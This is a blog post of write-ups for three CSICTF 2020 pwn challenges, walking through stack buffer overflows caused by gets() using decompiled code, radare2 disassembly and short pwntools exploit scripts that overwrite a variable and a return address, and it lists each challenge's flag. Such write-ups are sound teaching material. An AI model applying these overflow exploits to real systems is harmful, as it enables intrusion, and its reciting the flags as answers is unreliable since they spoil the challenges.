pwn intended - CSICTF 2020 Writeups

  • Posted: July 28, 2020
  • Updated: July 8, 2023

My team and I participated in csictf 2020 and enjoyed it quite a bit. This blog post will be a writeup of the pwn-intended-0x1, pwn-intended-0x2, and pwn-intended-0x3 problems. Once again this writeup is released really late, but maybe it’ll still be useful to some – or just a good read.

pwn-intended-0x1

The writeup for this challenge will be more detailed, in part because I want to understand how the stack is used in assembly. This challenge can be trivially solved by just bashing the keyboard. Hopefully this deeper explanation will provide more insight into the lower level computation. WIth that, let’s begin.

For this challenge we are given an executable which asks for some input on startup. Let’s decompile it with r2ghidra-dec – a Ghidra decompiler integration into radare.

undefined8 main(void)
{
    char *s;
    uint32_t var_4h;

    var_4h = 0;
    sym.imp.setbuf(_reloc.stdout, 0);
    sym.imp.setbuf(_reloc.stdin, 0);
    sym.imp.setbuf(_reloc.stderr, 0);
    sym.imp.puts("Please pour me some coffee:");
    sym.imp.gets(&s);
    sym.imp.puts("\nThanks!\n");
    if (var_4h != 0) {
        sym.imp.puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
        sym.imp.system("cat flag.txt");
    }
    return 0;
}

Something to note is that if we were to use Ghidra, it would show something like char s [44];, but let’s find this out using radare and see how these two variables are placed one after the other on the stack.

┌ 158: int main (int argc, char **argv, char **envp);
; var char *s @ rbp-0x30
; var uint32_t var_4h @ rbp-0x4
│           0x00401156      55             push rbp
│           0x00401157      4889e5         mov rbp, rsp
│           0x0040115a      4883ec30       sub rsp, 0x30
│           0x0040115e      c745fc000000.  mov dword [var_4h], 0
; <redacted>, Sets up stdio buffers and prompts for input 
│           0x004011ad      488d45d0       lea rax, [s]
│           0x004011b1      4889c7         mov rdi, rax        ; char *s
│           0x004011b4      b800000000     mov eax, 0
│           0x004011b9      e8a2feffff     call sym.imp.gets   ;[3] ; char *gets(char *s)
│           0x004011be      488d3d5f0e00.  lea rdi, str.Thanks ; 0x402024 ; "\nThanks!\n" ; const char *s
│           0x004011c5      e866feffff     call sym.imp.puts   ;[2] ; int puts(const char *s)
│           0x004011ca      837dfc00       cmp dword [var_4h], 0
│       ┌─< 0x004011ce      741d           je 0x4011ed
│       │   ; <redacted>, Flag is printed here
│       └─> 0x004011ed      b800000000     mov eax, 0
│           0x004011f2      c9             leave
└           0x004011f3      c3             ret

At the very start we see the two variables, s and var_4h defined by radare with offsets off rbp and then assigned to in assembly below:

; var char *s @ rbp-0x30
; var uint32_t var_4h @ rbp-0x4
0x0040115e      c745fc000000.  mov dword [var_4h], 0
0x004011ad      488d45d0       lea rax, [s]

It’s clear that the size of them together is 0x30:

0x0040115a      4883ec30       sub rsp, 0x30

s is placed at the start with offset rbp - 0x30 and then var_4h is placed at rbp - 0x4. This means that the s buffer which we control is of size 0x30 - 0x4 = 0x2c or 44 in decimal. Thus, we can overflow1 this buffer and overwrite var_4h by sending 44 bytes followed by our new value for var_4h.

The flag is printed if var_4h is no longer 0, so overwriting it with anything but null bytes should do the trick. The comparison can be seen here:

0x004011ca      837dfc00       cmp dword [var_4h], 0

The flag we get is: csictf{y0u_ov3rfl0w3d_th@t_c0ff33l1ke@_buff3r}

pwn-intended-0x2

This problem is nearly identical to the last with the only difference being the final comparison. It now checks var_4h for the value 0xcafebabe instead of 0.

0x004011ca      817dfcbebafe.  cmp dword [var_4h], 0xcafebabe

To make our final exploit, we can either use 44 bytes followed by \xbe\xba\xfe\xca (which is 0xcafebabe with the correct endianness). Personally, I like using pwntools to do the conversion which makes the script below. p32 is used to convert the 32-bit address to the bytes described.

from pwn import *

p = process("./pwn-intended-0x2")
p = remote("chall.csivit.com", 30007) # Remove for local testing
p.sendline(b"A" * 44 + p32(0xcafebabe))
p.interactive()

We get the flag: csictf{c4n_y0u_re4lly_telep0rt?}

pwn-intended-0x3

The final problem requires that you call a flag() function which reads the flag. Looking at the disassembly, we can see another buffer, this time of size 0x20 (32 in decimal).

┌ 104: int main (int argc, char **argv, char **envp);
; var char *s @ rbp-0x20
│           0x00401166      55             push rbp
│           0x00401167      4889e5         mov rbp, rsp
│           0x0040116a      4883ec20       sub rsp, 0x20
; <redacted>, Setup stdio and print some text
│           0x004011b6      488d45e0       lea rax, [s]
│           0x004011ba      4889c7         mov rdi, rax                ; char *s
│           0x004011bd      b800000000     mov eax, 0
│           0x004011c2      e899feffff     call sym.imp.gets           ;[3] ; char *gets(char *s)
│           0x004011c7      b800000000     mov eax, 0
│           0x004011cc      c9             leave
└           0x004011cd      c3             ret
┌ 38: sym.flag ();
│           0x004011ce      55             push rbp
; <redacted>, print the flag
└           0x004011ef      e87cfeffff     call sym.imp.exit           ;[5] ; void exit(int status)

The exploit here is quite clear, we need to overwrite the return pointer of the main() function to 0x004011ce to run the flag() function. To do so, we first need to send 32 bytes to fill up the input buffer, then send 8 bytes,2 and then the address 0x004011ce as \xce\x11@\x00\x00\x00\x00\x00 (the @ is just \x40).

With that, our exploit script, once again using pwntools, can be seen below. We use p64 to convert the 64-bit address to the bytes described above.

from pwn import *

p = process("./pwn-intended-0x3")
p = remote("chall.csivit.com", 30013)  # Remove for local testing
p.sendline(b"A" * (32 + 8) + p64(0x4011ce))
p.interactive()

And we get our flag, csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}, nice!


  1. We can do this because input is taken with gets() which, as described in the gets manpage (man 3 gets) is unsafe because it will continue reading data until reaching a specific character like a newline. ↩︎

  2. One can find this out by debugging with radare which will was described in this blog post. It is probably for alignment, but to find out exactly why you’ll have to become a glibc librarian↩︎